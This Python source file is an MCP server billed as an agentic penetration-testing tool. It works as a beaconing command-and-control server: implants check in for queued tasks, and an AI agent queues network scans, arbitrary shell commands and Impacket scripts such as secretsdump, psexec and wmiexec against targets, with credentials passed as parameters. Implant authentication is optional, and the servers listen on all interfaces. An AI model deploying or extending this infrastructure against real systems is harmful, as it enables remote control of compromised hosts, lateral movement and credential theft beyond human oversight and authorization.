""" Agentic Penetration Testing MCP Server (Beaconing Architecture) This MCP server maintains a command queue for each registered implant. Implants beacon out periodically to check for pending commands and report results. Architecture: Agent -> MCP Client -> This Server (command queue) <- Implant beacons in """ import os import json import time import uuid import random from collections import defaultdict, deque from fastmcp import FastMCP # Configuration IMPLANT_URL = os.environ.get("IMPLANT_URL", "http://localhost:9000") BEACON_TIMEOUT = 300 # Seconds before an implant is considered offline (5 min) API_KEY = os.environ.get("IMPLANT_API_KEY", None) # Optional API key for auth # In-memory command queue and implant registry implants = {} # implant_id -> {"last_seen": timestamp, "status": str} command_queue = defaultdict(deque) # implant_id -> deque of commands results = {} # request_id -> result data def register_implant(implant_id: str): """Register or update an implant's last-seen time.""" implants[implant_id] = { "last_seen": time.time(), "status": "online" } def get_pending_commands(implant_id: str) -> list: """Get all pending commands for an implant.""" return list(command_queue[implant_id]) def queue_command(implant_id: str, command_type: str, params: dict) -> str: """Queue a command for an implant and return request ID.""" request_id = str(uuid.uuid4())[:8] command = { "request_id": request_id, "type": command_type, "params": params, "queued_at": time.time() } command_queue[implant_id].append(command) return request_id def store_result(request_id: str, result: dict): """Store the result of a completed command.""" results[request_id] = { "result": result, "completed_at": time.time() } # Create MCP server server = FastMCP("agentic-pentest-mcp") @server.tool() def nmap_scan(target: str, scan_type: str = "-sT", ports: str = None, output_format: str = "normal") -> dict: """ Queue an nmap network scan on a registered implant. Args: target: Target IP address or hostname to scan scan_type: Nmap scan type (default: -sT TCP connect scan) Options: -sS (SYN), -sT (TCP), -sU (UDP), -sV (version detection) ports: Port specification (e.g., "80,443" or "1-1024"). Default: top 1000 ports output_format: Output format (normal, xml, grepable). Default: normal Returns: dict with request_id to track the scan status """ # Find first online implant implant_id = None for iid, info in implants.items(): if time.time() - info["last_seen"] < BEACON_TIMEOUT: implant_id = iid break if not implant_id: return {"error": "No online implants available"} params = { "target": target, "scan_type": scan_type, "ports": ports, "output_format": output_format } request_id = queue_command(implant_id, "nmap_scan", params) return { "request_id": request_id, "implant_id": implant_id, "status": "queued", "message": f"Scan queued for target {target}" } @server.tool() def list_network_interfaces(implant_id: str = None) -> dict: """ Queue a request to list network interfaces on an implant. Args: implant_id: Specific implant ID (optional, uses first online if not specified) Returns: dict with request_id to track the request status """ if not implant_id: for iid, info in implants.items(): if time.time() - info["last_seen"] < BEACON_TIMEOUT: implant_id = iid break if not implant_id: return {"error": "No online implants available"} request_id = queue_command(implant_id, "list_interfaces", {}) return { "request_id": request_id, "implant_id": implant_id, "status": "queued" } @server.tool() def run_command(command: str, implant_id: str = None) -> dict: """ Queue a shell command to execute on an implant. Use with caution. Args: command: Shell command to execute on the implant implant_id: Specific implant ID (optional, uses first online if not specified) Returns: dict with request_id to track the command status """ if not implant_id: for iid, info in implants.items(): if time.time() - info["last_seen"] < BEACON_TIMEOUT: implant_id = iid break if not implant_id: return {"error": "No online implants available"} request_id = queue_command(implant_id, "run_command", {"command": command}) return { "request_id": request_id, "implant_id": implant_id, "status": "queued" } @server.tool() def impacket(script_name: str, target: str = None, username: str = None, password: str = None, domain: str = None, extra_args: str = "") -> dict: """ Queue an Impacket tool execution on a registered implant. Args: script_name: Impacket script name (e.g., secretsdump, smbclient, getusers, lookupsid, samrdump, wmiexec, psexec, etc.) target: Target IP address or hostname username: Username for authentication (optional) password: Password for authentication (optional) domain: Domain name (optional) extra_args: Additional command-line arguments to pass to the script Returns: dict with request_id to track the execution status """ # Find first online implant implant_id = None for iid, info in implants.items(): if time.time() - info["last_seen"] < BEACON_TIMEOUT: implant_id = iid break if not implant_id: return {"error": "No online implants available"} params = { "script_name": script_name, "target": target, "username": username, "password": password, "domain": domain, "extra_args": extra_args } request_id = queue_command(implant_id, "impacket", params) return { "request_id": request_id, "implant_id": implant_id, "status": "queued", "message": f"Impacket script '{script_name}' queued for target {target or 'N/A'}" } @server.tool() def get_result(request_id: str) -> dict: """ Retrieve the result of a previously queued command. Args: request_id: The request ID returned when queuing the command Returns: dict with the command result or status """ if request_id in results: return results[request_id] return {"status": "pending", "message": "Result not yet available"} @server.tool() def list_implants() -> dict: """ List all registered implants and their status. Returns: dict with implant information """ now = time.time() implant_list = [] for iid, info in implants.items(): online = (now - info["last_seen"]) < BEACON_TIMEOUT pending = len(command_queue[iid]) implant_list.append({ "implant_id": iid, "online": online, "last_seen": time.strftime("%H:%M:%S", time.localtime(info["last_seen"])), "pending_commands": pending }) return { "total_implants": len(implant_list), "online": sum(1 for i in implant_list if i["online"]), "implants": implant_list } @server.tool() def server_status() -> dict: """ Check the status of the MCP server. Returns: dict with server configuration and status """ return { "server": "agentic-pentest-mcp", "architecture": "beaconing", "registered_implants": len(implants), "online_implants": sum(1 for i in implants.values() if time.time() - i["last_seen"] < BEACON_TIMEOUT), "total_queued_commands": sum(len(q) for q in command_queue.values()), "status": "running" } # HTTP endpoint for implant check-ins from http.server import HTTPServer, BaseHTTPRequestHandler import threading class ImplantCheckInHandler(BaseHTTPRequestHandler): def validate_api_key(self): """Validate the X-API-Key header if API key auth is enabled.""" if not API_KEY: return True # No auth required provided_key = self.headers.get('X-API-Key') if not provided_key or provided_key != API_KEY: return False return True def send_auth_error(self): """Send a 401 Unauthorized response.""" self.send_response(401) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(json.dumps({"error": "Unauthorized: invalid or missing API key"}).encode()) def do_POST(self): if not self.validate_api_key(): self.send_auth_error() return if self.path == "/check_in": content_length = int(self.headers.get('Content-Length', 0)) body = json.loads(self.rfile.read(content_length)) implant_id = body.get("implant_id") register_implant(implant_id) # Get pending commands for this implant pending = get_pending_commands(implant_id) response = { "commands": pending, "timestamp": time.time() } # Clear the queue since we're sending commands command_queue[implant_id].clear() self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(json.dumps(response).encode()) elif self.path == "/report_result": content_length = int(self.headers.get('Content-Length', 0)) body = json.loads(self.rfile.read(content_length)) request_id = body.get("request_id") result = body.get("result") store_result(request_id, result) self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(json.dumps({"status": "received"}).encode()) else: self.send_response(404) self.end_headers() def log_message(self, format, *args): print(f"[Implant HTTP] {format % args}") def start_implant_http_server(port=8001): """Start the HTTP server for implant check-ins.""" httpd = HTTPServer(("0.0.0.0", port), ImplantCheckInHandler) thread = threading.Thread(target=httpd.serve_forever, daemon=True) thread.start() print(f"Implant check-in server listening on :{port}") return httpd if __name__ == "__main__": import sys # Start implant HTTP server start_implant_http_server(8001) if len(sys.argv) > 1 and sys.argv[1] == "--http": port = int(sys.argv[2]) if len(sys.argv) > 2 else 8000 print(f"Starting agentic-pentest MCP server on http://0.0.0.0:{port}") server.run(transport="http", host="0.0.0.0", port=port) else: print("Starting agentic-pentest MCP server (stdio transport)") server.run()